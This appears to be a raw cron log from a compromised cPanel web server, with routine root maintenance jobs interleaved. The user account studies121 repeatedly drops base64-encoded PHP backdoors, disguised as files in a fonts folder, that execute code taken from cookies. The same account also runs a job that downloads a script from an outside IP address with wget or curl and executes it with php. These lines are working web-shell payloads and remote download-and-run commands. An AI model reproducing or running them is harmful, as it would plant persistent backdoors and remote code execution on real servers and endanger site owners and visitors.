Sep 10 09:35:01 ip-184-168-122-23 CROND[11954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:35:01 ip-184-168-122-23 CROND[11953]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 09:35:01 ip-184-168-122-23 CROND[11952]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 09:36:01 ip-184-168-122-23 CROND[12076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:36:01 ip-184-168-122-23 CROND[12077]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 09:36:01 ip-184-168-122-23 CROND[12086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:36:01 ip-184-168-122-23 CROND[12085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:36:01 ip-184-168-122-23 CROND[12088]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:37:01 ip-184-168-122-23 CROND[12209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:37:01 ip-184-168-122-23 CROND[12211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:37:01 ip-184-168-122-23 CROND[12212]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:37:01 ip-184-168-122-23 CROND[12214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:38:01 ip-184-168-122-23 CROND[12347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:38:01 ip-184-168-122-23 CROND[12348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:38:01 ip-184-168-122-23 CROND[12350]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 09:38:01 ip-184-168-122-23 CROND[12354]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:38:01 ip-184-168-122-23 CROND[12355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:39:01 ip-184-168-122-23 CROND[12455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:39:01 ip-184-168-122-23 CROND[12456]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 09:39:01 ip-184-168-122-23 CROND[12458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:39:01 ip-184-168-122-23 CROND[12457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:39:01 ip-184-168-122-23 CROND[12461]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:40:01 ip-184-168-122-23 CROND[12583]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 09:40:01 ip-184-168-122-23 CROND[12586]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 09:40:01 ip-184-168-122-23 CROND[12589]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:40:01 ip-184-168-122-23 CROND[12591]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 09:40:01 ip-184-168-122-23 CROND[12592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:40:01 ip-184-168-122-23 CROND[12590]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 09:40:01 ip-184-168-122-23 CROND[12596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:40:01 ip-184-168-122-23 CROND[12594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:41:01 ip-184-168-122-23 CROND[12721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:41:01 ip-184-168-122-23 CROND[12723]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:41:01 ip-184-168-122-23 CROND[12724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:41:01 ip-184-168-122-23 CROND[12726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:42:01 ip-184-168-122-23 CROND[12922]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:42:01 ip-184-168-122-23 CROND[12926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:42:01 ip-184-168-122-23 CROND[12925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:42:01 ip-184-168-122-23 CROND[12924]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 09:42:01 ip-184-168-122-23 CROND[12927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:43:01 ip-184-168-122-23 CROND[13030]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:43:01 ip-184-168-122-23 CROND[13031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:43:01 ip-184-168-122-23 CROND[13032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:43:01 ip-184-168-122-23 CROND[13034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:44:01 ip-184-168-122-23 CROND[13162]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:44:01 ip-184-168-122-23 CROND[13166]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 09:44:01 ip-184-168-122-23 CROND[13165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:44:01 ip-184-168-122-23 CROND[13167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:44:01 ip-184-168-122-23 CROND[13164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:45:01 ip-184-168-122-23 CROND[13309]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 09:45:01 ip-184-168-122-23 CROND[13311]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 09:45:01 ip-184-168-122-23 CROND[13312]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:45:01 ip-184-168-122-23 CROND[13314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:45:01 ip-184-168-122-23 CROND[13313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:45:01 ip-184-168-122-23 CROND[13315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:46:01 ip-184-168-122-23 CROND[13434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:46:01 ip-184-168-122-23 CROND[13435]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:46:01 ip-184-168-122-23 CROND[13436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:46:01 ip-184-168-122-23 CROND[13440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 09:46:01 ip-184-168-122-23 CROND[13443]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 09:46:01 ip-184-168-122-23 CROND[13444]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 09:46:01 ip-184-168-122-23 CROND[13442]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 09:47:01 ip-184-168-122-23 CROND[13657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 09:47:01 ip-184-168-122-23 CROND[13658]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 09:47:01 ip-184-168-122-23 CROND[13661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
